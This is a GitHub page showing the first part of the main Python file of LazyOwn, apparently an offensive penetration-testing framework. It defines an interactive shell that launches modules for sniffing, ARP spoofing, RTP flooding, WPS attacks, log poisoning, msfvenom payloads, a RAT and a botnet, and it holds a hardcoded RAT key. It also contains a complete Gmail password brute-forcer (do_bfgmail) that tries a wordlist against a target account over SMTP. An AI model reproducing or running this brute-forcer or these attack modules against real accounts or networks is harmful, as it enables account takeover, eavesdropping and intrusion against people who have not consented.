forked from grisuno/LazyOwn
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlazyown
More file actions
executable file
·10175 lines (8162 loc) · 426 KB
/
Copy pathlazyown
File metadata and controls
executable file
·10175 lines (8162 loc) · 426 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# _*_ coding: utf8 _*_
"""
lazyown
Author: Gris Iscomeback
Email: grisiscomeback[at]gmail[dot]com
Creation Date: 13/08/2024
License: GPL v3
Description: This file contains the definition of the logic in the LazyOwnShell class
██╗ █████╗ ███████╗██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗
██║ ██╔══██╗╚══███╔╝╚██╗ ██╔╝██╔═══██╗██║ ██║████╗ ██║
██║ ███████║ ███╔╝ ╚████╔╝ ██║ ██║██║ █╗ ██║██╔██╗ ██║
██║ ██╔══██║ ███╔╝ ╚██╔╝ ██║ ██║██║███╗██║██║╚██╗██║
███████╗██║ ██║███████╗ ██║ ╚██████╔╝╚███╔███╔╝██║ ╚████║
╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝
"""
from cmd import Cmd
from utils import *
class LazyOwnShell(Cmd):
"""
A custom interactive shell for the LazyOwn Framework.
This class extends the Cmd class to provide an interactive command-line
interface for the LazyOwn Framework. It supports various commands and
modules related to security and network operations. The shell is initialized
with a set of parameters and scripts, allowing users to execute predefined
functions and manage tasks within the framework.
Attributes:
prompt (str): The command prompt for the shell, obtained from the
`getprompt()` function.
intro (str): A welcome message and disclaimer displayed when the shell
starts, with information about the framework and its usage.
aliases (dict): A dictionary of command aliases for easier access to
frequently used commands.
params (dict): A dictionary of parameters with their default values,
used for configuring various aspects of the framework.
scripts (list): A list of script names included in the toolkit, representing
the available modules and functionalities.
output (str): An empty string for storing output or results from executed
commands or scripts.
custom_prompt (str): A custom prompt for the shell, obtained from the
`getprompt()` function.
Methods:
__init__(): Initializes the shell with default parameters, script names,
and an empty output string. Sets up the command prompt and
custom prompt.
"""
prompt = getprompt()
if NOBANNER:
intro = ""
else:
intro = f""" {YELLOW}[*] Welcome to the LazyOwn Framework [;,;] {BLUE}{version}
{WHITE}[*] interactive s{RED}H{WHITE}ell! Type ? to list commands{BLUE}
{RED}[!] Please do not use in military or secret service organizations,
{RED}[!] or for illegal purposes (this is non-binding,
{RED}[!] these *** ignore laws and ethics anyway){BLUE}
{GREEN}[+] Github: {BLUE}{UNDERLINE}https://github.com/grisuno/LazyOwn{RESET}
{GREEN}[+] Web: {BLUE}{UNDERLINE}https://grisuno.github.io/LazyOwn/{RESET}
{GREEN}[+] Reddit: {BLUE}{UNDERLINE}https://www.reddit.com/r/LazyOwn/{RESET}
{GREEN}[+] Facebook: {BLUE}{UNDERLINE}https://web.facebook.com/profile.php?id=61560596232150{RESET}
{GREEN}[+] hackTheBox: {BLUE}{UNDERLINE}https://app.hackthebox.com/teams/overview/6429 {RESET}
{GREEN}[+] Patreon: {BLUE}{UNDERLINE}https://patreon.com/LazyOwn {RESET}
"""
activate_virtualenv("env")
# Diccionario para almacenar alias
aliases = {
"auto": "pyautomate",
"aslr": "run lazyaslrcheck",
"discovery": "run lazynmapdiscovery",
"ftpsniff": "run lazyftpsniff",
"gpt": "run lazygptcli",
"ls": "list",
"nmap": "run lazynmap",
"now": "clock",
"p": "payload",
"poison": "run lazylogpoisoning",
"powersploit":"sh powersploit -h",
"pwnat": "sh pwnat -s 8080",
"q": "exit",
"rtpflood" : "sh sudo bash modules/lazyrtpflood.sh",
"sniff": "run lazysniff",
"venom": "run lazymsfvenom",
"wps":"sh sudo bash modules/lazywps.sh",
"ww": "whatweb",
}
def __init__(self):
"""
Initializer for the LazyOwnShell class.
This method sets up the initial parameters and scripts for an instance of
the LazyOwnShell class. It initializes a dictionary of parameters with default
values and a list of script names that are part of the LazyOwnShell toolkit.
Attributes:
params (dict): A dictionary of parameters with their default values.
scripts (list): A list of script names included in the toolkit.
output (str): An empty string to store output or results.
"""
super().__init__()
self.params = {
"binary_name": "gzip",
"api_key": None,
"prompt": None,
"url": None,
"method": "GET",
"headers": "{}",
"params": "{}",
"data": "{}",
"json_data": "{}",
"proxy_port": 8080,
"wordlist": None,
"hide_code": None,
"mode": None,
"reverse_shell_port": None,
"path": "/",
"rhost": None,
"lhost": None,
"rport": 1337,
"lport": 1337,
"rat_key": "82e672ae054aa4de6f042c888111686a",
"startip": "192.168.1.1",
"endip": "192.168.1.254",
"spoof_ip": "185.199.110.153",
"device": "eth0",
"email_from": "email@gmail.com",
"email_to": "email@gmail.com",
"email_username": "email@gmail.com",
"email_password": "pa$$w0rd",
"smtp_server": "smtp.server.com",
"smtp_port": "587",
"field": "page",
"headers_file": None,
"data_file": None,
"params_file": None,
"json_data_file": None,
"exploitdb": "/usr/share/exploitdb/exploits/",
"dirwordlist": "/usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt",
"usrwordlist": "/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt",
"dnswordlist": "/usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt",
}
self.scripts = [
"lazysearch",
"lazysearch_gui",
"lazyown",
"update_db",
"lazynmap",
"lazyaslrcheck",
"lazynmapdiscovery",
"lazygptcli",
"lazyburpfuzzer",
"lazymetaextract0r",
"lazyreverse_shell",
"lazyattack",
"lazyownratcli",
"lazyownrat",
"lazygath",
"lazysniff",
"lazynetbios",
"lazybotnet",
"lazybotcli",
"lazyhoneypot",
"lazysearch_bot",
"lazylfi2rce",
"lazylogpoisoning",
"lazymsfvenom",
"lazypathhijacking",
"lazyarpspoofing",
"lazyftpsniff",
"lazyssh77enum",
"lazywerkzeugdebug",
]
self.output = ""
self.custom_prompt = getprompt()
def default(self, line):
"""
Handles undefined commands, including aliases.
This method checks if a given command (or its alias) exists within the class
by attempting to find a corresponding method. If the command or alias is not
found, it prints an error message.
:param line: The command or alias to be handled.
:type line: str
:return: None
"""
# Obtener el comando o alias
command = self.aliases.get(line, line)
# Separar el comando y los argumentos si existe
parts = command.split(maxsplit=1)
cmd_name = parts[0]
cmd_args = parts[1] if len(parts) > 1 else ""
# Ejecutar el comando si existe
method_name = f"do_{cmd_name}"
if hasattr(self, method_name):
return getattr(self, method_name)(cmd_args)
else:
print_error(f"{YELLOW} Not Found {BLUE}{line}{RESET}")
def one_cmd(self, command):
"""
Internal function to execute commands.
This method attempts to execute a given command using `onecmd` and captures
the output. It sets the `output` attribute based on whether the command was
executed successfully or an exception occurred.
:param command: The command to be executed.
:type command: str
:return: A message indicating the result of the command execution.
:rtype: str
"""
self.output = ""
try:
original_stdout = sys.stdout
sys.stdout = io.StringIO()
self.onecmd(command)
self.output = sys.stdout.getvalue()
sys.stdout = original_stdout
return "Command executed successfully."
except Exception as e:
self.output = str(e)
return "An error occurred: " + str(e)
def emptyline(self):
"""
Handle the case where the user enters an empty line.
This method is called when the user submits an empty line of input in
the command-line interface. By default, it provides feedback indicating
that no command was entered.
It is useful for providing user-friendly messages or handling empty input
cases in a custom manner.
License: This function is part of a program released under the GNU General
Public License v3.0 (GPLv3). You can redistribute it and/or modify it
under the terms of the GPLv3, as published by the Free Software Foundation.
Note: This method is called by the cmd library when an empty line is
entered. You can override it in a subclass to change its behavior.
Example:
>>> shell = LazyOwnShell()
>>> shell.emptyline()
You didn't enter any command.
"""
print_warn("You didn't enter any command.")
def do_EOF(self, line):
"""
Handle the end-of-file (EOF) condition.
This method is called when the user sends an end-of-file (EOF) signal
by pressing Ctrl+D. It is typically used to handle cleanup or exit
operations when the user terminates input.
In this implementation, it prints a farewell message and returns True
to indicate that the shell should exit.
License: This function is part of a program released under the GNU General
Public License v3.0 (GPLv3). You can redistribute it and/or modify it
under the terms of the GPLv3, as published by the Free Software Foundation.
Note: This method is a part of the `cmd` library's command handling
system. You can override it in a subclass to customize its behavior.
Example:
>>> shell = LazyOwnShell()
>>> shell.do_EOF(None)
LazyOwn say Goodbye!
(shell exits)
"""
print_warn("LazyOwn say Goodbye!")
return True
def postloop(self):
"""
Handle operations to perform after exiting the command loop.
This method is called after the command loop terminates, typically used
for performing any final cleanup or displaying messages before the program
exits.
In this implementation, it prints a message indicating that the custom
shell is exiting.
License: This function is part of a program released under the GNU General
Public License v3.0 (GPLv3). You can redistribute it and/or modify it
under the terms of the GPLv3, as published by the Free Software Foundation.
Note: This method is called automatically by the `cmd` library's command
loop after the loop terminates. You can override it in a subclass to
customize its behavior.
Example:
>>> shell = LazyOwnShell()
>>> shell.cmdloop() # Exits the command loop
Exiting custom LazyOwnShell.
"""
print_warn("Exiting custom LazyOwnShell.")
def do_set(self, line):
"""
Set a parameter value.
This function takes a line of input, splits it into a parameter and a value,
and sets the specified parameter to the given value if the parameter exists.
:param line: A string containing the parameter and value to be set.
Expected format: '<parameter> <value>'.
:type line: str
:return: None
:raises: ValueError if the input line does not contain exactly two elements.
"""
args = shlex.split(line)
if len(args) != 2:
print_error(f"{YELLOW} Usage: set <parameter> <value>{RESET}")
return
param, value = args
if param in self.params:
self.params[param] = value
print_msg(f"{YELLOW}{param} set to {GREEN}{value} {RESET}")
else:
print_error(f"Unknown parameter: {param}{RESET}")
return
def do_show(self, line):
"""
Show the current parameter values.
This function iterates through the current parameters and their values,
printing each parameter and its associated value.
:param line: This parameter is not used in the function.
:type line: str
:return: None
"""
for param, value in self.params.items():
print_msg(f"{param}: {value}")
def do_bfgmail(line, self):
"""
This function attempts to brute force a Gmail account using a list of passwords.
Args:
line (str): Placeholder for the line argument (not used in this context).
self (object): Placeholder for the self argument (not used in this context).
The function prompts the user to provide the path to a password file and the target email.
It then iterates over the passwords, trying to login via SMTP to Gmail. If a password is
successful, it reports the success and terminates. Otherwise, it continues to the next password.
"""
print('[1] hcked @gmail')
print('[2] exit')
option = input('==>')
if option == 1:
file_path = input('Path of passwords file: ')
else:
system('clear')
exit()
try:
with open(file_path, 'r') as pass_file:
pass_list = pass_file.readlines()
except IOError:
print("Error: File not found or can't be opened.")
return
user_name = input('Target email: ')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for i, password in enumerate(pass_list, 1):
print(f'{i}/{len(pass_list)}')
try:
server.login(user_name, password.strip())
system('clear')
print('\n[+] This Account Has Been Hacked. Password: ' + password.strip() + ' ^_^')
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
print(f'[+] This account has been hacked, password: {password.strip()} ^_^')
break
else:
print(f'[!] Password not found => {password.strip()}')
def do_list(self, line):
"""
Lists all available scripts in the modules directory.
This method prints a list of available scripts in a formatted manner, arranging
them into columns. It shows each script with sufficient spacing for readability.
:param line: This parameter is not used in the method.
:type line: str
:return: None
"""
scripts = self.scripts
num_columns = 3
if not scripts:
print_error(f"No available scripts.{RESET}")
return
max_len = max(len(script) for script in scripts)
column_width = max_len + 2
rows = [
scripts[i : i + num_columns] for i in range(0, len(scripts), num_columns)
]
print_msg(f"Available scripts to run:{RESET}")
for row in rows:
print_msg(
f" ".join(
f"{script.ljust(column_width)}{RESET} " for script in row
)
)
def do_run(self, line):
"""
Runs a specific LazyOwn script.
This method executes a script from the LazyOwn toolkit based on the provided
script name. If the script is not recognized, it prints an error message.
To see available scripts, use the `list` or `help list` commands.
:param line: The command line input containing the script name.
:type line: str
:return: None
"""
args = shlex.split(line)
if not args:
print_error(f"Usage: {GREEN} run <script_name> {RESET}")
return
script_name = args[0]
if script_name in self.scripts:
getattr(self, f"run_{script_name}")()
else:
print_error(f"Unknown script: {CYAN}{script_name}{RESET}")
def run_lazysearch(self):
"""
Runs the internal module `modules/lazysearch.py`.
This method executes the `lazysearch` script from the specified path, using
the `binary_name` parameter from the `self.params` dictionary. If `binary_name`
is not set, it prints an error message.
:return: None
"""
binary_name = self.params["binary_name"]
if not binary_name:
print_error("binary_name not set")
return
self.run_script("modules/lazysearch.py", binary_name)
def run_lazysearch_gui(self):
"""
Run the internal module located at `modules/LazyOwnExplorer.py`.
This method executes the `LazyOwnExplorer.py` script, which is used for graphical user interface (GUI) functionality within the LazyOwn framework.
The function performs the following steps:
1. Calls `self.run_script` with `LazyOwnExplorer.py` to execute the GUI module.
:returns: None
Manual execution:
1. Ensure that the `modules/LazyOwnExplorer.py` script is present in the `modules` directory.
2. Run the script with:
`python3 modules/LazyOwnExplorer.py`
Example:
To run `LazyOwnExplorer.py` directly, execute:
`python3 modules/LazyOwnExplorer.py`
Note:
- Ensure that the script has the appropriate permissions and dependencies to run.
- Verify that your environment supports GUI operations if using this script in a non-graphical environment.
"""
self.run_script("modules/LazyOwnExplorer.py")
return
def run_lazyown(self):
"""
Run the internal module located at `modules/lazyown.py`.
This method executes the `lazyown.py` script, which is a core component of the LazyOwn framework.
The function performs the following steps:
1. Calls `self.run_script` with `lazyown.py` to execute the script.
:returns: None
Manual execution:
1. Ensure that the `modules/lazyown.py` script is present in the `modules` directory.
2. Run the script with:
`python3 modules/lazyown.py`
Example:
To run `lazyown.py` directly, execute:
`python3 modules/lazyown.py`
Note:
- Ensure that the script has the appropriate permissions and dependencies to run.
"""
self.run_script("modules/lazyown.py")
return
def run_update_db(self):
"""
Run the internal module located at `modules/update_db.sh`.
This method executes the `update_db.sh` script to update the database of binary exploitables from `gtofbins`.
The function performs the following steps:
1. Executes the `update_db.sh` script located in the `modules` directory using `os.system`.
:returns: None
Manual execution:
1. Ensure that the `modules/update_db.sh` script is present in the `modules` directory.
2. Run the script with:
`./modules/update_db.sh`
Example:
To manually update the database, execute:
`./modules/update_db.sh`
Note:
- Ensure that the script has execute permissions.
- The script should be run with the necessary privileges if required.
"""
os.system("./modules/update_db.sh")
return
def run_lazynmap(self):
"""
Runs the internal module `modules/lazynmap.sh` for multiple Nmap scans.
This method executes the `lazynmap` script, using the current working directory
and the `rhost` parameter from the `self.params` dictionary as the target IP.
If `rhost` is not set, it prints an error message.
:return: None
"""
path = os.getcwd()
target_ip = self.params["rhost"]
if not target_ip:
print_error(f"rhost must be set, {GREEN}help set to more info {RESET}")
return
os.system(f"{path}/modules/lazynmap.sh -t {target_ip}")
return
def run_lazywerkzeugdebug(self):
"""
Run the internal module located at `modules/lazywerkzeug.py` in debug mode.
This method executes the `lazywerkzeug.py` script with the specified parameters for remote and local hosts and ports. It is used to test Werkzeug in debug mode.
The function performs the following steps:
1. Retrieves the `rhost`, `lhost`, `rport`, and `lport` values from `self.params`.
2. Checks if all required parameters are set. If not, prints an error message and returns.
3. Calls `self.run_script` with `lazywerkzeug.py` and the specified parameters.
:param rhost: The remote host address.
:type rhost: str
:param lhost: The local host address.
:type lhost: str
:param rport: The remote port number.
:type rport: int
:param lport: The local port number.
:type lport: int
:returns: None
Manual execution:
1. Ensure that `rhost`, `lhost`, `rport`, and `lport` are set in `self.params`.
2. The script `modules/lazywerkzeug.py` should be present in the `modules` directory.
3. Run the script with:
`python3 modules/lazywerkzeug.py <rhost> <rport> <lhost> <lport>`
Example:
To run `lazywerkzeug.py` with `rhost` set to `"127.0.0.1"`, `rport` to `5000`, `lhost` to `"localhost"`, and `lport` to `8000`, set:
`self.params["rhost"] = "127.0.0.1"`
`self.params["rport"] = 5000`
`self.params["lhost"] = "localhost"`
`self.params["lport"] = 8000`
Then call:
`run_lazywerkzeugdebug()`
Note:
- Ensure that `modules/lazywerkzeug.py` has the appropriate permissions and dependencies to run.
- Verify that the specified hosts and ports are correct and available.
"""
rhost = self.params["rhost"]
lhost = self.params["lhost"]
rport = self.params["rport"]
lport = self.params["lport"]
if not rhost or not lhost or not lport or not rport:
print_error(
"rhost, lhost, rpor, and lport must be set, to more info see: help set"
)
return
self.run_script("modules/lazywerkzeug.py", rhost, rport, lhost, lport)
return
def run_lazygath(self):
"""
Run the internal module located at `modules/lazygat.sh`. to gathering the sistem :)
This method executes the `lazygat.sh` script located in the `modules` directory with `sudo` privileges.
The function performs the following steps:
1. Retrieves the current working directory.
2. Executes the `lazygat.sh` script using `sudo` to ensure it runs with elevated permissions.
:returns: None
Manual execution:
1. Ensure that the `modules/lazygat.sh` script is present in the `modules` directory.
2. Run the script with:
`sudo ./modules/lazygat.sh`
Example:
To manually run the script with elevated privileges, execute:
`sudo ./modules/lazygat.sh`
Note:
- Ensure that the script has execute permissions.
- The script should be run with `sudo` if it requires elevated privileges.
"""
path = os.getcwd()
os.system(f"sudo {path}/modules/lazygat.sh")
return
def run_lazynmapdiscovery(self):
"""
Runs the internal module `modules/lazynmap.sh` with discovery mode.
This method executes the `lazynmap` script in discovery mode. It uses the current
working directory for locating the script.
:return: None
"""
path = os.getcwd()
os.system(f"{path}/modules/lazynmap.sh -d")
return
def run_lazysniff(self):
"""
Run the sniffer internal module located at `modules/lazysniff.py` with the specified parameters.
This method executes the script with the following arguments:
- `device`: The network interface to be used for sniffing, specified in `self.params`.
The function performs the following steps:
1. Retrieves the `device` value from `self.params`.
2. Sets up the environment variables `LANG` and `TERM` to ensure proper script execution.
3. Uses `subprocess.run` to execute the `lazysniff.py` script with the `-i` option to specify the network interface.
:param device: The network interface to be used for sniffing.
:type device: str
:returns: None
Manual execution:
1. Ensure that `device` is set in `self.params`.
2. The script `modules/lazysniff.py` should be present in the `modules` directory.
3. Run the script with:
`python3 modules/lazysniff.py -i <device>`
Example:
To run `lazysniff` with `device` set to `"eth0"`, set:
`self.params["device"] = "eth0"`
Then call:
`run_lazysniff()`
Note:
- Ensure that `modules/lazysniff.py` has the appropriate permissions and dependencies to run.
- Ensure that the network interface specified is valid and properly configured.
"""
env = os.environ.copy()
env["LANG"] = "en_US.UTF-8"
env["TERM"] = "xterm-256color"
device = self.params["device"]
subprocess.run(
["python3", "modules/lazysniff.py", "-i", device],
env=env,
stdin=sys.stdin,
stdout=sys.stdout,
stderr=sys.stderr,
)
def run_lazyftpsniff(self):
"""
Run the sniffer ftp internal module located at `modules/lazyftpsniff.py` with the specified parameters.
This function executes the script with the following arguments:
- `device`: The network interface to be used for sniffing, specified in `self.params`.
The function performs the following steps:
1. Retrieves the `device` value from `self.params`.
2. Sets up the environment variables `LANG` and `TERM` to ensure proper script execution.
3. Uses `subprocess.run` to execute the `lazyftpsniff.py` script with the `-i` option to specify the network interface.
:param device: The network interface to be used for sniffing.
:type device: str
:returns: None
Manual execution:
1. Ensure that `device` is set in `self.params`.
2. The script `modules/lazyftpsniff.py` should be present in the `modules` directory.
3. Run the script with:
`python3 modules/lazyftpsniff.py -i <device>`
Example:
To run `lazyftpsniff` with `device` set to `"eth0"`, set:
`self.params["device"] = "eth0"`
Then call:
`run_lazyftpsniff()`
Note:
- Ensure that `modules/lazyftpsniff.py` has the appropriate permissions and dependencies to run.
- Ensure that the network interface specified is valid and properly configured.
"""
device = self.params["device"]
env = os.environ.copy()
env["LANG"] = "en_US.UTF-8"
env["TERM"] = "xterm-256color"
if not device:
print_error("device must be set to choice the interface")
return
subprocess.run(["python3", "modules/lazyftpsniff.py", "-i", device])
def run_lazynetbios(self):
"""
Run the internal module to search netbios vuln victims, located at `modules/lazynetbios.py` with the specified parameters.
This function executes the script with the following arguments:
- `startip`: The starting IP address for the NetBIOS scan, specified in `self.params`.
- `endip`: The ending IP address for the NetBIOS scan, specified in `self.params`.
- `spoof_ip`: The IP address to be used for spoofing, specified in `self.params`.
The function performs the following steps:
1. Retrieves the `startip`, `endip`, and `spoof_ip` values from `self.params`.
2. Uses `subprocess.run` to execute the `lazynetbios.py` script with the specified parameters.
:param startip: The starting IP address for the NetBIOS scan.
:type startip: str
:param endip: The ending IP address for the NetBIOS scan.
:type endip: str
:param spoof_ip: The IP address to be used for spoofing.
:type spoof_ip: str
:returns: None
Manual execution:
1. Ensure that `startip`, `endip`, and `spoof_ip` are set in `self.params`.
2. The script `modules/lazynetbios.py` should be present in the `modules` directory.
3. Run the script with:
`python3 modules/lazynetbios.py <startip> <endip> <spoof_ip>`
Example:
To run `lazynetbios` with `startip` set to `"192.168.1.1"`, `endip` set to `"192.168.1.10"`, and `spoof_ip` set to `"192.168.1.100"`, set:
`self.params["startip"] = "192.168.1.1"`
`self.params["endip"] = "192.168.1.10"`
`self.params["spoof_ip"] = "192.168.1.100"`
Then call:
`run_lazynetbios()`
Note:
- Ensure that `modules/lazynetbios.py` has the appropriate permissions and dependencies to run.
- Ensure that the IP addresses are correctly set and valid for the NetBIOS scan.
"""
startip = self.params["startip"]
endip = self.params["endip"]
spoof_ip = self.params["spoof_ip"]
subprocess.run(["python3", "modules/lazynetbios.py", startip, endip, spoof_ip])
def run_lazyhoneypot(self):
"""
Run the internal module located at `modules/lazyhoneypot.py` with the specified parameters.
This function executes the script with the following arguments:
- `email_from`: The email address from which messages will be sent, specified in `self.params`.
- `email_to`: The recipient email address, specified in `self.params`.
- `email_username`: The username for email authentication, specified in `self.params`.
- `email_password`: The password for email authentication, specified in `self.params`.
The function performs the following steps:
1. Retrieves the `email_from`, `email_to`, `email_username`, and `email_password` values from `self.params`.
2. Calls the `run_script` method to execute the `lazyhoneypot.py` script with the provided email parameters.
:param email_from: The email address from which messages will be sent.
:type email_from: str
:param email_to: The recipient email address.
:type email_to: str
:param email_username: The username for email authentication.
:type email_username: str
:param email_password: The password for email authentication.
:type email_password: str
:returns: None
Manual execution:
1. Ensure that `email_from`, `email_to`, `email_username`, and `email_password` are set in `self.params`.
2. The script `modules/lazyhoneypot.py` should be present in the `modules` directory.
3. Run the script with:
`python3 modules/lazyhoneypot.py --email_from <email_from> --email_to <email_to> --email_username <email_username> --email_password <email_password>`
Example:
To run `lazyhoneypot` with `email_from` set to `"sender@example.com"`, `email_to` set to `"recipient@example.com"`, `email_username` set to `"user"`, and `email_password` set to `"pass"`, set:
`self.params["email_from"] = "sender@example.com"`
`self.params["email_to"] = "recipient@example.com"`
`self.params["email_username"] = "user"`
`self.params["email_password"] = "pass"`
Then call:
`run_lazyhoneypot()`
Note:
- Ensure that `modules/lazyhoneypot.py` has the appropriate permissions and dependencies to run.
- Ensure that the email credentials are correctly set for successful authentication and operation.
"""
email_from = self.params["email_from"]
email_to = self.params["email_to"]
email_username = self.params["email_username"]
email_password = self.params["email_password"]
self.run_script(
"modules/lazyhoneypot.py",
"--email_from",
email_from,
"--email_to",
email_to,
"--email_username",
email_username,
"--email_password",
email_password,
)
def run_lazygptcli(self):
"""
Run the internal module to create Oneliners with Groq AI located at `modules/lazygptcli.py` with the specified parameters.
This function executes the script with the following arguments:
- `prompt`: The prompt to be used by the script, specified in `self.params`.
- `api_key`: The API key to be set in the environment variable `GROQ_API_KEY`, specified in `self.params`.
The function performs the following steps:
1. Retrieves the `prompt` and `api_key` values from `self.params`.
2. Checks if both `prompt` and `api_key` are set. If either is missing, it prints an error message and returns.
3. Sets the environment variable `GROQ_API_KEY` with the provided `api_key`.
4. Calls the `run_script` method to execute the `lazygptcli.py` script with the `--prompt` argument.
:param prompt: The prompt to be used by the script.
:type prompt: str
:param api_key: The API key for accessing the service.
:type api_key: str
:returns: None
Manual execution:
1. Ensure that `prompt` and `api_key` are set in `self.params`.
2. The script `modules/lazygptcli.py` should be present in the `modules` directory.
3. Set the environment variable `GROQ_API_KEY` with the API key value.
4. Run the script with:
`python3 modules/lazygptcli.py --prompt <prompt>`
Example:
To run `lazygptcli` with `prompt` set to `"Your prompt"` and `api_key` set to `"your_api_key"`, set:
`self.params["prompt"] = "Your prompt"`
`self.params["api_key"] = "your_api_key"`
Then call:
`run_lazygptcli()`
Note:
- Ensure that `modules/lazygptcli.py` has the appropriate permissions and dependencies to run.
- The environment variable `GROQ_API_KEY` must be correctly set for the script to function.
"""
prompt = self.params["prompt"]
api_key = self.params["api_key"]
if not prompt or not api_key:
print_error("Prompt and api_key must be set")
return
os.environ["GROQ_API_KEY"] = api_key
self.run_script("modules/lazygptcli.py", "--prompt", prompt)
def run_lazysearch_bot(self):
"""
Run the internal module GROQ AI located at `modules/lazysearch_bot.py` with the specified parameters.
This function executes the script with the following arguments:
- `prompt`: The prompt to be used by the script, specified in `self.params`.
- `api_key`: The API key to be set in the environment variable `GROQ_API_KEY`, specified in `self.params`.
The function performs the following steps:
1. Retrieves the `prompt` and `api_key` values from `self.params`.
2. Checks if both `prompt` and `api_key` are set. If either is missing, it prints an error message and returns.
3. Sets the environment variable `GROQ_API_KEY` with the provided `api_key`.
4. Calls the `run_script` method to execute the `lazysearch_bot.py` script with the `--prompt` argument.
:param prompt: The prompt to be used by the script.
:type prompt: str
:param api_key: The API key for accessing the service.
:type api_key: str
:returns: None
Manual execution:
1. Ensure that `prompt` and `api_key` are set in `self.params`.
2. The script `modules/lazysearch_bot.py` should be present in the `modules` directory.
3. Set the environment variable `GROQ_API_KEY` with the API key value.
4. Run the script with:
`python3 modules/lazysearch_bot.py --prompt <prompt>`
Example:
To run `lazysearch_bot` with `prompt` set to `"Search query"` and `api_key` set to `"your_api_key"`, set:
`self.params["prompt"] = "Search query"`
`self.params["api_key"] = "your_api_key"`
Then call:
`run_lazysearch_bot()`
Note:
- Ensure that `modules/lazysearch_bot.py` has the appropriate permissions and dependencies to run.
- The environment variable `GROQ_API_KEY` must be correctly set for the script to function.
"""
prompt = self.params["prompt"]
api_key = self.params["api_key"]
if not prompt or not api_key:
print_error("Prompt and api_key must be set")